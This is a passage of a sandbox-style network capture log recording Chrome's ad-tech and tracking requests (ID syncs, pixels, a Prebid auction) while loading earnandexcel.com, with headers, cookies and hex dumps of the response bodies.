https://gum.criteo.com/syncframe?origin=publishertagids&topUrl=earnandexcel.com&us_privacy=1---&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uid=8d73be0a-2d5a-47ea-8080-ce4174558daf
2024-04-11 21:27:07 UTC	350	IN	HTTP/1.1 200 OK content-type: application/json; charset=utf-8 date: Thu, 11 Apr 2024 21:27:07 GMT server: Kestrel cache-control: no-cache, no-store, must-revalidate expires: 0 pragma: no-cache transfer-encoding: chunked server-processing-duration-in-ticks: 1237995 strict-transport-security: max-age=31536000; preload; connection: close
2024-04-11 21:27:07 UTC	461	IN	Data Raw: 31 43 31 0d 0a 7b 22 73 69 64 22 3a 6e 75 6c 6c 2c 22 72 65 6d 6f 76 65 53 69 64 22 3a 66 61 6c 73 65 2c 22 62 75 6e 64 6c 65 22 3a 22 62 53 2d 35 35 46 39 4f 4d 54 55 33 57 47 31 4e 61 6b 35 58 65 48 4a 43 53 31 51 30 65 6a 6c 4c 57 56 46 6e 62 32 78 4b 4e 32 68 6f 62 47 46 58 57 6d 6c 69 54 55 78 45 65 45 39 4c 53 6c 6c 6e 55 48 5a 6e 64 6c 56 4b 62 46 6c 70 5a 7a 5a 4e 62 57 30 7a 57 57 77 30 63 54 42 49 56 57 56 35 4a 54 4a 43 52 45 68 4b 53 30 31 68 61 33 42 54 59 33 4d 30 5a 32 52 45 64 55 46 35 64 69 55 79 51 6b 31 35 4a 54 4a 47 64 54 6c 6f 64 55 49 6c 4d 6b 49 7a 4e 46 68 72 52 46 64 6e 64 6d 70 56 53 31 51 79 64 6c 46 71 5a 6d 5a 69 4d 31 6b 31 57 6e 46 51 4f 57 51 33 64 46 56 75 62 44 46 61 57 57 46 78 55 44 4d 31 55 6a 5a 51 4f 58 51 78 57 6e Data Ascii: 1C1{"sid":null,"removeSid":false,"bundle":"bS-55F9OMTU3WG1Nak5XeHJCS1Q0ejlLWVFnb2xKN2hobGFXWmliTUxEeE9LSllnUHZndlVKbFlpZzZNbW0zWWw0cTBIVWV5JTJCREhKS01ha3BTY3M0Z2REdUF5diUyQk15JTJGdTlodUIlMkIzNFhrRFdndmpVS1QydlFqZmZiM1k1WnFQOWQ3dFVubDFaWWFxUDM1UjZQOXQxWn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
590	192.168.2.17	50461	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	766	OUT	GET /idsync/ex/receive?partner_id=1955&partner_device_id=933b039f-4d12-4fd1-b03f-26c6e83239e4 HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1712870811726; TapAd_DID=f873d799-987f-45f5-8689-9e999756dca0; TapAd_3WAY_SYNCS=1!2469
2024-04-11 21:27:07 UTC	1101	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:07 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1712870811726;Expires=Mon, 10 Jun 2024 21:27:07 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=f873d799-987f-45f5-8689-9e999756dca0;Expires=Mon, 10 Jun 2024 21:27:07 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=1!2469;Expires=Mon, 10 Jun 2024 21:27:07 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Content-Type: image/png Content-Length: 95 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:07 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
591	192.168.2.17	50468	18.164.96.18	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	762	OUT	GET /b?c1=2&c2=27053452&cs_it=b8&cv=4.0.0%2B2301240627&ns__t=1712870825253&ns_c=UTF-8&c7=https%3A%2F%2Fearnandexcel.com%2F&c8=Skills%20For%20Professionals%20-%20Earn%20%26%20Excel&c9= HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:07 UTC	949	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Thu, 11 Apr 2024 21:27:07 GMT Location: /b2?c1=2&c2=27053452&cs_it=b8&cv=4.0.0%2B2301240627&ns__t=1712870825253&ns_c=UTF-8&c7=https%3A%2F%2Fearnandexcel.com%2F&c8=Skills%20For%20Professionals%20-%20Earn%20%26%20Excel&c9= set-cookie: UID=144d8768dc177493b66b5201712870827; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=62208000 set-cookie: PID=194d8768dbfc4493b66b6d31712870827; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=2592000 set-cookie: XID=144d8768dc177493b66b5201712870827; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=2592000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 8a9cdb228e33f8d52a4b42c56ca26590.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P5 X-Amz-Cf-Id: pcB95-couxXv7l3TqPlpizKyaDgEtwuWDE-FnEHCyCfaEqm4A-ZHUw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
592	192.168.2.17	50408	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	1924	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9Mjc0NCZ0bD0xNTc2ODAw&piggybackCookie=R35CAB_113D39DF0_8790659E&r=https://pmp.mxptint.net/sn.ashx?ak=1 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; KRTBCOOKIE_1003=22761-3c48d748-f84a-11ee-8242-bd2b605e64cf&KRTB&23275-3c48d748-f84a-11ee-8242-bd2b605e64cf; KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; KRTBCOOKIE_279=22890-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23011-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23355-d3c52a71-4626-42f8-b765-7c4caff9dd34; chkChromeAb67Sec=2; SPugT=1712870823; pi=0:4; DPSync3=1714003200%3A261_260_259_201_263_262%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713657600%3A63%7C1714003200%3A48_233_71_220_13_54_231_22_178_8_104_5_55_250_21_166_3_165%7C1713398400%3A15_2_223; PugT=1712870823

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
593	192.168.2.17	50416	3.208.175.5	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	764	OUT	POST /header/auction?lib=prebid&v=8.31.0&referrer=https%3A%2F%2Fearnandexcel.com%2F&tmax=2801&us_privacy=1--- HTTP/1.1 Host: tlx.3lift.com Connection: keep-alive Content-Length: 3742 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=3952083078138885077332; tluid=3952083078138885077332
2024-04-11 21:27:07 UTC	3742	OUT	Data Raw: 7b 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 30 2c 22 74 61 67 69 64 22 3a 22 4d 65 64 69 61 76 69 6e 65 5f 73 74 69 63 6b 79 5f 64 65 73 6b 74 6f 70 5f 6f 75 74 73 74 72 65 61 6d 5f 50 72 65 62 69 64 22 2c 22 66 6c 6f 6f 72 22 3a 31 2e 33 39 2c 22 76 69 64 65 6f 22 3a 7b 22 61 70 69 22 3a 5b 31 2c 32 5d 2c 22 62 6f 78 69 6e 67 61 6c 6c 6f 77 65 64 22 3a 31 2c 22 63 6f 6e 74 65 78 74 22 3a 22 6f 75 74 73 74 72 65 61 6d 22 2c 22 64 65 6c 69 76 65 72 79 22 3a 5b 32 5d 2c 22 6c 69 6e 65 61 72 69 74 79 22 3a 31 2c 22 6d 61 78 64 75 72 61 74 69 6f 6e 22 3a 33 30 2c 22 6d 69 6e 64 75 72 61 74 69 6f 6e 22 3a 35 2c 22 6d 61 78 62 69 74 72 61 74 65 22 3a 31 35 33 32 2c 22 6d 69 6d 65 73 22 3a 5b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 Data Ascii: {"imp":[{"id":0,"tagid":"Mediavine_sticky_desktop_outstream_Prebid","floor":1.39,"video":{"api":[1,2],"boxingallowed":1,"context":"outstream","delivery":[2],"linearity":1,"maxduration":30,"minduration":5,"maxbitrate":1532,"mimes":["application/javascript"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
594	192.168.2.17	50471	34.117.239.71	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	555	OUT	GET /match?bidder_id=33&external_user_id=3952083078138885077332&ts=1712870823&gdpr_58=&gdpr=0&gdpr_consent=&us_privacy=1--- HTTP/1.1 Host: events-ssc.33across.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
595	192.168.2.17	50411	3.214.33.241	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	480	OUT	GET /usersync?b=bsw&i=4a756380-b7e0-40d8-87fd-f9b0074cc705&gdpr=&gdpr_consent=&us_privacy= HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:07 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:07 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
596	192.168.2.17	50427	52.71.183.211	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	824	OUT	GET /insync?gdpr=0&gdpr_consent=&vxii_pdid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&vxii_pid=12&vxii_pid1=10067&vxii_rcid=c48d18dc-adc5-4674-848e-5fd6be9bfe78 HTTP/1.1 Host: thrtle.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mc=eyJpZCI6ImM0OGQxOGRjLWFkYzUtNDY3NC04NDhlLTVmZDZiZTliZmU3OCIsImwiOjE3MTI4NzA4MjU0MDEsInQiOjF9
2024-04-11 21:27:07 UTC	353	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: image/gif Content-Length: 43 Connection: close P3p: CP="NOI OUR BUS UNI COM NAV" Set-Cookie: mc=eyJpZCI6ImM0OGQxOGRjLWFkYzUtNDY3NC04NDhlLTVmZDZiZTliZmU3OCIsImwiOjE3MTI4NzA4Mjc4MzMsInQiOjF9; Path=/; Domain=thrtle.com; Expires=Mon, 28 Oct 2024 21:27:07 GMT; Secure; SameSite=None
2024-04-11 21:27:07 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
597	192.168.2.17	50463	8.28.7.81	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	1861	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=70760586&p=156423&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1--- HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; KRTBCOOKIE_1003=22761-3c48d748-f84a-11ee-8242-bd2b605e64cf&KRTB&23275-3c48d748-f84a-11ee-8242-bd2b605e64cf; KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; KRTBCOOKIE_279=22890-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23011-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23355-d3c52a71-4626-42f8-b765-7c4caff9dd34; chkChromeAb67Sec=2; SPugT=1712870823; DPSync3=1714003200%3A261_260_259_201_263_262%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713657600%3A63%7C1714003200%3A48_233_71_220_13_54_231_22_178_8_104_5_55_250_21_166_3_165%7C1713398400%3A15_2_223; PugT=1712870823
2024-04-11 21:27:07 UTC	1116	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=3; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=156423:4; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: DPSync3=1713830400%3A257%7C1713398400%3A265%7C1714003200%3A261_259_258_256_260_201_263_262%7C1712880000%3A248_255; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: SyncRTB3=1714089600%3A35%7C1713398400%3A15_2_38_223%7C1715385600%3A224%7C1713657600%3A63%7C1717977600%3A69%7C1714003200%3A220_240_264_81_233_71_54_3_96_22_178_104_250_21_56_238_13_55_266_48_249_267_176_234_214_231_5_166_46_7_8_165_99_243; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Thu, 11 Apr 2024 21:27:07 GMT Transfer-Encoding: chunked Connection: close
2024-04-11 21:27:07 UTC	4230	IN	Data Raw: 31 30 37 39 0d 0a 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 73 79 6e 63 68 72 6f 73 63 72 69 70 74 2e 64 65 6c 69 76 65 72 79 65 6e 67 69 6e 65 2e 61 64 73 77 69 7a 7a 2e 63 6f 6d 2f 73 79 6e 63 4d 65 3f 70 61 72 74 6e 65 72 44 6f 6d 61 69 6e 3d 6d 72 74 6e 73 76 72 2e 63 6f 6d 26 69 64 54 79 70 65 3d 63 6f 6f 6b 69 65 26 70 61 72 74 6e 65 72 55 73 65 72 49 64 3d 32 35 46 39 35 34 39 45 2d 31 33 36 41 2d 34 37 45 39 2d 39 31 37 31 2d 44 41 34 34 43 30 45 30 44 35 45 33 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 69 64 73 79 6e 63 2e 72 6c 63 64 Data Ascii: 1079PubMatic.loadAsyncImagePixel('https://synchroscript.deliveryengine.adswizz.com/syncMe?partnerDomain=mrtnsvr.com&idType=cookie&partnerUserId=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://idsync.rlcd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
598	192.168.2.17	50494	52.46.130.91	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	848	OUT	GET /v3/pr?exlist=gg_an-db5&fv=1.0&a=cm&cm3ppd=1&dmt=3&gdpr=0 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://s.amazon-adsystem.com/iu3?cm3ppd=1&d=dtb-pub&csif=t&gdpr=0&dl=gg_an-db5 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
2024-04-11 21:27:07 UTC	451	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 680 Connection: close x-amz-rid: 1BG7NCSHXHH37Y4D73Y9 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-04-11 21:27:07 UTC	680	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 72 65 66 65 72 72 65 72 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 36 63 37 66 34 37 65 34 2d 65 30 32 39 2d 34 66 35 61 2d 39 66 38 61 2d 39 37 65 63 32 34 30 64 62 39 38 30 22 3e 20 62 6f 64 79 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 20 7d 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 69 66 72 61 6d 65 20 77 69 64 74 68 3d 22 31 22 20 68 65 69 67 68 74 3d 22 31 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 73 Data Ascii: <html><head><meta name="referrer" content="no-referrer" /><style nonce="6c7f47e4-e029-4f5a-9f8a-97ec240db980"> body { background-color:transparent } </style></head><body><iframe width="1" height="1" frameborder="0" marginwidth="0" marginheight="0" s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
599	192.168.2.17	50498	52.200.127.82	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	728	OUT	GET /merge?pid=43&gdpr=0&gdpr_consent=&us_privacy=&3pid=nP3HSZ_-l0mHrsJEyfjbQZzyw0OH-sVFy_pyc9ed HTTP/1.1 Host: ce.lijit.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL; ljtrtbexp=eJxdkLcVBEEIQ3uZeAO82dbuXe%2FrJkHhFyAEv9W5Tk42KjLRY8nEiMlMgoJOIRkbwMIUGyBCfgNq6fFw9w4p7SlbKTCBJUWwtKEOIcqAHRj8Bea9dsJbeusBnHDTeOP%2FAkTSTAk%3D; _ljtrtb_76=f9abaea3-fca1-485b-bd62-08b6a30fc7ba; _ljtrtb_43=nP3HSZ_-l0mHrsJEyfjbQZzyw0OH-sVFy_pyc9ed
2024-04-11 21:27:07 UTC	1446	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: image/gif Content-Length: 43 Connection: close Expires: Fri, 20 Mar 2009 00:00:00 GMT Set-Cookie: _ljtrtb_76=f9abaea3-fca1-485b-bd62-08b6a30fc7ba; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0;Secure;SameSite=None Set-Cookie: _ljtrtb_43=nP3HSZ_-l0mHrsJEyfjbQZzyw0OH-sVFy_pyc9ed; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0;Secure;SameSite=None Set-Cookie: ljtrtb=eJyrVjIxVrJSygsw9giOitfNMcj1KCr2cq1My0oKjKqqLDfw99AtDnOrjC%2BoTLZMTVHSUTI3A6pPs0xMSkxNNNZNS0401DWxME3STUoxM9I1sEgySzQ2SEs2T0pUqgUAQxocIA%3D%3D; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:07 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: _ljtrtb_43=nP3HSZ_-l0mHrsJEyfjbQZzyw0OH-sVFy_pyc9ed; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:07 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:07 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljtrtbexp=eJxdkLcVBEEIQ3uZeAO82dbuXe%2FrJkHhFyAEv9W5Tk42KjLRY8nEiMlMgoJOIRkbwMIUGyBCfgNq6fFw9w4p7SlbKTCBJUWwtKEOIcqAHRj8Bea9dsJbeusBnHDTeOP%2FAkTSTAk%3D; Path=/; Domain=.lijit.com; Expires=Fri, 11-Apr-2025 21:27:07 GMT; Max-Age=31536000;Secure;SameSite=None Cache-Control: private, no-cache, no-store, 